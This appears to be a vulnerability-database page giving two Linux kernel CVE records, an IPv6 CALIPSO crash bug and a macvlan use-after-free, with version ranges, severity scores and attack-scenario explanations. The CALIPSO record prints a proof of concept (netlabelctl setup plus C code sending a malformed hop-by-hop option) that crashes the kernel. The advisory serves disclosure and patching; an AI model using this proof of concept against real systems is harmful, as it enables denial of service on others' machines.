and reliably produces an oops or panic, as observed in the syzbot report and the related bugzilla crash reports."
}
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CVE-2025-71085 (GCVE-0-2025-71085)
Vulnerability from cvelistv5 – Published: 2026-01-13 15:34 – Updated: 2026-08-05 12:11
VLAI
EPSS
VEX
Title
ipv6: BUG() in pskb_expand_head() as part of calipso_skbuff_setattr()
Summary
In the Linux kernel, the following vulnerability has been resolved:
ipv6: BUG() in pskb_expand_head() as part of calipso_skbuff_setattr()
There exists a kernel oops caused by a BUG_ON(nhead < 0) at
net/core/skbuff.c:2232 in pskb_expand_head().
This bug is triggered as part of the calipso_skbuff_setattr()
routine when skb_cow() is passed headroom > INT_MAX
(i.e. (int)(skb_headroom(skb) + len_delta) < 0).
The root cause of the bug is due to an implicit integer cast in
__skb_cow(). The check (headroom > skb_headroom(skb)) is meant to ensure
that delta = headroom - skb_headroom(skb) is never negative, otherwise
we will trigger a BUG_ON in pskb_expand_head(). However, if
headroom > INT_MAX and delta <= -NET_SKB_PAD, the check passes, delta
becomes negative, and pskb_expand_head() is passed a negative value for
nhead.
Fix the trigger condition in calipso_skbuff_setattr(). Avoid passing
"negative" headroom sizes to skb_cow() within calipso_skbuff_setattr()
by only using skb_cow() to grow headroom.
PoC:
Using `netlabelctl` tool:
netlabelctl map del default
netlabelctl calipso add pass doi:7
netlabelctl map add default address:0::1/128 protocol:calipso,7
Then run the following PoC:
int fd = socket(AF_INET6, SOCK_DGRAM, IPPROTO_UDP);
// setup msghdr
int cmsg_size = 2;
int cmsg_len = 0x60;
struct msghdr msg;
struct sockaddr_in6 dest_addr;
struct cmsghdr * cmsg = (struct cmsghdr *) calloc(1,
sizeof(struct cmsghdr) + cmsg_len);
msg.msg_name = &dest_addr;
msg.msg_namelen = sizeof(dest_addr);
msg.msg_iov = NULL;
msg.msg_iovlen = 0;
msg.msg_control = cmsg;
msg.msg_controllen = cmsg_len;
msg.msg_flags = 0;
// setup sockaddr
dest_addr.sin6_family = AF_INET6;
dest_addr.sin6_port = htons(31337);
dest_addr.sin6_flowinfo = htonl(31337);
dest_addr.sin6_addr = in6addr_loopback;
dest_addr.sin6_scope_id = 31337;
// setup cmsghdr
cmsg->cmsg_len = cmsg_len;
cmsg->cmsg_level = IPPROTO_IPV6;
cmsg->cmsg_type = IPV6_HOPOPTS;
char * hop_hdr = (char *)cmsg + sizeof(struct cmsghdr);
hop_hdr[1] = 0x9; //set hop size - (0x9 + 1) * 8 = 80
sendmsg(fd, &msg, 0);
Severity
7.5 (High)
SSVC
Exploitation: none
Automatable: no
Technical Impact: partial
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2026-06-10 20:42 UTC
Assigner
References
8 references
Impacted products
5 products
| Vendor | Product | Version | |
|---|---|---|---|
| Linux | Linux |
Affected:
2917f57b6bc15cc6787496ee5f2fdf17f0e9b7d3 , < 86f365897068d09418488165a68b23cb5baa37f2
(git)
Affected: 2917f57b6bc15cc6787496ee5f2fdf17f0e9b7d3 , < 6b7522424529556c9cbc15e15e7bd4eeae310910 (git) Affected: 2917f57b6bc15cc6787496ee5f2fdf17f0e9b7d3 , < 2bb759062efa188ea5d07242a43e5aa5464bbae1 (git) Affected: 2917f57b6bc15cc6787496ee5f2fdf17f0e9b7d3 , < c53aa6a5086f03f19564096ee084a202a8c738c0 (git) Affected: 2917f57b6bc15cc6787496ee5f2fdf17f0e9b7d3 , < bf3709738d8a8cc6fa275773170c5c29511a0b24 (git) Affected: 2917f57b6bc15cc6787496ee5f2fdf17f0e9b7d3 , < 73744ad5696dce0e0f43872aba8de6a83d6ad570 (git) Affected: 2917f57b6bc15cc6787496ee5f2fdf17f0e9b7d3 , < 58fc7342b529803d3c221101102fe913df7adb83 (git) |
|
| Linux | Linux |
Affected:
4.8
Unaffected: 0 , < 4.8 (semver) Unaffected: 5.10.248 , ≤ 5.10.* (semver) Unaffected: 5.15.198 , ≤ 5.15.* (semver) Unaffected: 6.1.160 , ≤ 6.1.* (semver) Unaffected: 6.6.120 , ≤ 6.6.* (semver) Unaffected: 6.12.64 , ≤ 6.12.* (semver) Unaffected: 6.18.4 , ≤ 6.18.* (semver) Unaffected: 6.19 , ≤ * (original_commit_for_fix) |
|
| Siemens | SIMATIC S7-1500 CPU 1518-4 PN/DP MFP |
Affected:
V3.1.6 , < *
(custom)
|
|
| Siemens | SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP |
Affected:
V3.1.6 , < *
(custom)
|
|
| Siemens | SIPLUS S7-1500 CPU 1518-4 PN/DP MFP |
Affected:
V3.1.6 , < *
(custom)
|
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{
"lang": "en",
"value": "In the Linux kernel, the following vulnerability has been resolved:\n\nipv6: BUG() in pskb_expand_head() as part of calipso_skbuff_setattr()\n\nThere exists a kernel oops caused by a BUG_ON(nhead \u003c 0) at\nnet/core/skbuff.c:2232 in pskb_expand_head().\nThis bug is triggered as part of the calipso_skbuff_setattr()\nroutine when skb_cow() is passed headroom \u003e INT_MAX\n(i.e. (int)(skb_headroom(skb) + len_delta) \u003c 0).\n\nThe root cause of the bug is due to an implicit integer cast in\n__skb_cow(). The check (headroom \u003e skb_headroom(skb)) is meant to ensure\nthat delta = headroom - skb_headroom(skb) is never negative, otherwise\nwe will trigger a BUG_ON in pskb_expand_head(). However, if\nheadroom \u003e INT_MAX and delta \u003c= -NET_SKB_PAD, the check passes, delta\nbecomes negative, and pskb_expand_head() is passed a negative value for\nnhead.\n\nFix the trigger condition in calipso_skbuff_setattr(). Avoid passing\n\"negative\" headroom sizes to skb_cow() within calipso_skbuff_setattr()\nby only using skb_cow() to grow headroom.\n\nPoC:\n\tUsing `netlabelctl` tool:\n\n netlabelctl map del default\n netlabelctl calipso add pass doi:7\n netlabelctl map add default address:0::1/128 protocol:calipso,7\n\n Then run the following PoC:\n\n int fd = socket(AF_INET6, SOCK_DGRAM, IPPROTO_UDP);\n\n // setup msghdr\n int cmsg_size = 2;\n int cmsg_len = 0x60;\n struct msghdr msg;\n struct sockaddr_in6 dest_addr;\n struct cmsghdr * cmsg = (struct cmsghdr *) calloc(1,\n sizeof(struct cmsghdr) + cmsg_len);\n msg.msg_name = \u0026dest_addr;\n msg.msg_namelen = sizeof(dest_addr);\n msg.msg_iov = NULL;\n msg.msg_iovlen = 0;\n msg.msg_control = cmsg;\n msg.msg_controllen = cmsg_len;\n msg.msg_flags = 0;\n\n // setup sockaddr\n dest_addr.sin6_family = AF_INET6;\n dest_addr.sin6_port = htons(31337);\n dest_addr.sin6_flowinfo = htonl(31337);\n dest_addr.sin6_addr = in6addr_loopback;\n dest_addr.sin6_scope_id = 31337;\n\n // setup cmsghdr\n cmsg-\u003ecmsg_len = cmsg_len;\n cmsg-\u003ecmsg_level = IPPROTO_IPV6;\n cmsg-\u003ecmsg_type = IPV6_HOPOPTS;\n char * hop_hdr = (char *)cmsg + sizeof(struct cmsghdr);\n hop_hdr[1] = 0x9; //set hop size - (0x9 + 1) * 8 = 80\n\n sendmsg(fd, \u0026msg, 0);"
}
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"lang": "en",
"value": "AV:N - On an IPv6-forwarding CALIPSO/SELinux gateway, a remote peer can supply a valid oversized CALIPSO hop-by-hop option; the NF_INET_FORWARD SELinux hook reaches calipso_skbuff_setattr() while relabeling the packet.\nAC:L - Once CALIPSO labeling and IPv6 forwarding are configured, the attacker controls the option length, label data, padding, and CRC and can deterministically create a sufficiently negative len_delta without a race or uncontrollable memory layout.\nPR:N - The forwarding path processes received packet metadata without an authenticated session, and CALIPSO\u0027s CRC provides no authentication, so the remote attacker needs no local credentials or capabilities.\nUI:N - A crafted packet triggers the vulnerable forwarding hook automatically without any victim action.\nS:U - The assertion and resulting denial of service remain within the host kernel\u0027s existing security authority and do not cross a virtualization or sandbox boundary.\nC:N - The negative value reaches BUG_ON before allocation or copying, and no kernel data is disclosed.\nI:N - The assertion fires before pskb_expand_head() modifies buffer storage, so the bug provides no memory corruption or write primitive.\nA:H - The reachable BUG_ON causes a kernel oops and can panic or reboot the system, with repeated packets able to retrigger the failure."
}
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}
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"title": "ipv6: BUG() in pskb_expand_head() as part of calipso_skbuff_setattr()",
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"datePublished": "2026-01-13T15:34:48.324Z",
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CVE-2026-23001 (GCVE-0-2026-23001)
Vulnerability from cvelistv5 – Published: 2026-01-25 14:36 – Updated: 2026-08-05 12:20
VLAI
EPSS
VEX
Title
macvlan: fix possible UAF in macvlan_forward_source()
Summary
In the Linux kernel, the following vulnerability has been resolved:
macvlan: fix possible UAF in macvlan_forward_source()
Add RCU protection on (struct macvlan_source_entry)->vlan.
Whenever macvlan_hash_del_source() is called, we must clear
entry->vlan pointer before RCU grace period starts.
This allows macvlan_forward_source() to skip over
entries queued for freeing.
Note that macvlan_dev are already RCU protected, as they
are embedded in a standard netdev (netdev_priv(ndev)).
https: //lore.kernel.org/netdev/695fb1e8.050a0220.1c677c.039f.GAE@google.com/T/#u
Severity
7.8 (High)
SSVC
Exploitation: none
Automatable: no
Technical Impact: total
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2026-06-16 20:17 UTC
Assigner
References
7 references
Impacted products
2 products
| Vendor | Product | Version | |
|---|---|---|---|
| Linux | Linux |
Affected:
79cf79abce71eb7dbc40e2f3121048ca5405cb47 , < 8133e85b8a3ec9f10d861e0002ec6037256e987e
(git)
Affected: 79cf79abce71eb7dbc40e2f3121048ca5405cb47 , < 484919832e2db6ce1e8add92c469e5d459a516b5 (git) Affected: 79cf79abce71eb7dbc40e2f3121048ca5405cb47 , < 232afc74a6dde0fe1830988e5827921f5ec9bb3f (git) Affected: 79cf79abce71eb7dbc40e2f3121048ca5405cb47 , < 15f6faf36e162532bec5cc05eb3fc622108bf2ed (git) Affected: 79cf79abce71eb7dbc40e2f3121048ca5405cb47 , < 8518712a2ca952d6da2238c6f0a16b4ae5ea3f13 (git) Affected: 79cf79abce71eb7dbc40e2f3121048ca5405cb47 , < 6dbead9c7677186f22b7981dd085a0feec1f038e (git) Affected: 79cf79abce71eb7dbc40e2f3121048ca5405cb47 , < 7470a7a63dc162f07c26dbf960e41ee1e248d80e (git) |
|
| Linux | Linux |
Affected:
3.18
Unaffected: 0 , < 3.18 (semver) Unaffected: 5.10.249 , ≤ 5.10.* (semver) Unaffected: 5.15.199 , ≤ 5.15.* (semver) Unaffected: 6.1.162 , ≤ 6.1.* (semver) Unaffected: 6.6.122 , ≤ 6.6.* (semver) Unaffected: 6.12.67 , ≤ 6.12.* (semver) Unaffected: 6.18.7 , ≤ 6.18.* (semver) Unaffected: 6.19 , ≤ * (original_commit_for_fix) |
{
"containers": {
"adp": [
{
"metrics": [
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"other": {
"content": {
"id": "CVE-2026-23001",
"options": [
{
"Exploitation": "none"
},
{
"Automatable": "no"
},
{
"Technical Impact": "total"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-06-16T20:17:12.456069Z",
"version": "2.0.3"
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"type": "ssvc"
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"providerMetadata": {
"dateUpdated": "2026-06-16T20:17:28.878Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
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"title": "CISA ADP Vulnrichment"
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"product": "Linux",
"programFiles": [
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"vendor": "Linux",
"versions": [
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"status": "affected",
"version": "79cf79abce71eb7dbc40e2f3121048ca5405cb47",
"versionType": "git"
},
{
"lessThan": "484919832e2db6ce1e8add92c469e5d459a516b5",
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"status": "affected",
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"status": "affected",
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"versionType": "git"
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"status": "affected",
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"versionType": "git"
}
]
},
{
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"product": "Linux",
"programFiles": [
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],
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"version": "0",
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{
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"status": "unaffected",
"version": "5.10.249",
"versionType": "semver"
},
{
"lessThanOrEqual": "5.15.*",
"status": "unaffected",
"version": "5.15.199",
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{
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"status": "unaffected",
"version": "6.1.162",
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{
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"version": "6.6.122",
"versionType": "semver"
},
{
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"status": "unaffected",
"version": "6.12.67",
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{
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"status": "unaffected",
"version": "6.18.7",
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},
{
"lessThanOrEqual": "*",
"status": "unaffected",
"version": "6.19",
"versionType": "original_commit_for_fix"
}
]
}
],
"cpeApplicability": [
{
"nodes": [
{
"cpeMatch": [
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"criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
"versionEndExcluding": "5.10.249",
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"versionStartIncluding": "3.18",
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
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]
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],
"descriptions": [
{
"lang": "en",
"value": "In the Linux kernel, the following vulnerability has been resolved:\n\nmacvlan: fix possible UAF in macvlan_forward_source()\n\nAdd RCU protection on (struct macvlan_source_entry)-\u003evlan.\n\nWhenever macvlan_hash_del_source() is called, we must clear\nentry-\u003evlan pointer before RCU grace period starts.\n\nThis allows macvlan_forward_source() to skip over\nentries queued for freeing.\n\nNote that macvlan_dev are already RCU protected, as they\nare embedded in a standard netdev (netdev_priv(ndev)).\n\nhttps: //lore.kernel.org/netdev/695fb1e8.050a0220.1c677c.039f.GAE@google.com/T/#u"
}
],
"metrics": [
{
"cvssV3_1": {
"baseScore": 7.8,
"baseSeverity": "HIGH",
"vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"scenarios": [
{
"lang": "en",
"value": "AV:L - The reliable attacker-controlled path requires local rtnetlink manipulation of macvlan source-mode entries or failed macvlan creation, followed by local packet injection through a lower device such as veth/tun. Received frames reach the buggy RX handler, but creating the vulnerable stale source entry is a local operation.\nAC:L - The attacker can create the macvlan/source-entry state and trigger packet delivery repeatedly; the demonstrated stale-entry case is deterministic, and source-entry deletion races are attacker-controllable with concurrent netlink and packet activity.\nPR:L - The setup path requires CAP_NET_ADMIN for RTM_NEWLINK/RTM_SETLINK/RTM_DELLINK, but this is reachable by an unprivileged local user in a user-created user/net namespace on systems allowing user namespaces. It does not require real init-namespace root.\nUI:N - No victim action is required once the local attacker runs the netlink operations and injects matching frames. Exploitation is driven entirely by attacker-controlled local processes.\nS:U - The vulnerability corrupts or dereferences memory within the same kernel security authority. It is a standard kernel memory-safety issue, not a VM escape or cross-scope boundary violation.\nC:H - This is a use-after-free involving a freed macvlan/net_device-private object, and reclaimed heap contents can be exposed or used as attacker-shaped kernel pointers. Per kernel CVSS guidance, UAFs are scored as high confidentiality impact.\nI:H - The freed object is later used as a live macvlan_dev and passed into forwarding/statistics paths, giving plausible control-flow or write-primitive opportunities after heap reclaim. Per kernel CVSS guidance, UAF memory corruption is high integrity impact.\nA:H - Syzbot observed a KASAN slab-use-after-free in macvlan_forward_source(), and the bug can crash or panic the kernel. A kernel UAF reachable on demand is high availability impact."
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-08-05T12:20:04.510Z",
"orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
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"url": "https://git.kernel.org/stable/c/8133e85b8a3ec9f10d861e0002ec6037256e987e"
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{
"url": "https://git.kernel.org/stable/c/484919832e2db6ce1e8add92c469e5d459a516b5"
},
{
"url": "https://git.kernel.org/stable/c/232afc74a6dde0fe1830988e5827921f5ec9bb3f"
},
{
"url": "https://git.kernel.org/stable/c/15f6faf36e162532bec5cc05eb3fc622108bf2ed"
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{
"url": "https://git.kernel.org/stable/c/8518712a2ca952d6da2238c6f0a16b4ae5ea3f13"
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{
"url": "https://git.kernel.org/stable/c/6dbead9c7677186f22b7981dd085a0feec1f038e"
},
{
"url": "https://git.kernel.org/stable/c/7470a7a63dc162f07c26dbf960e41ee1e248d80e"
}
],
"title": "macvlan: fix possible UAF in macvlan_forward_source()",
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"cveMetadata": {
"assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
"assignerShortName": "Linux",
"cveId": "CVE-2026-23001",
"datePublished": "2026-01-25T14:36:15.790Z",
"dateReserved": "2026-01-13T15:37:45.938Z",
"dateUpdated": "2026-08-05T12:20:04.510Z",
"state": "PUBLISHED"
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"dataType": "CVE_RECORD",
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}
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Trend slope:
-
(linear fit over daily sighting counts)
Show additional events:
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Experimental. This forecast is provided for visualization only and may change without notice. Do not use it for operational decisions.
Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
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The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the
vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base
model, served locally by ML-Gateway.
They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
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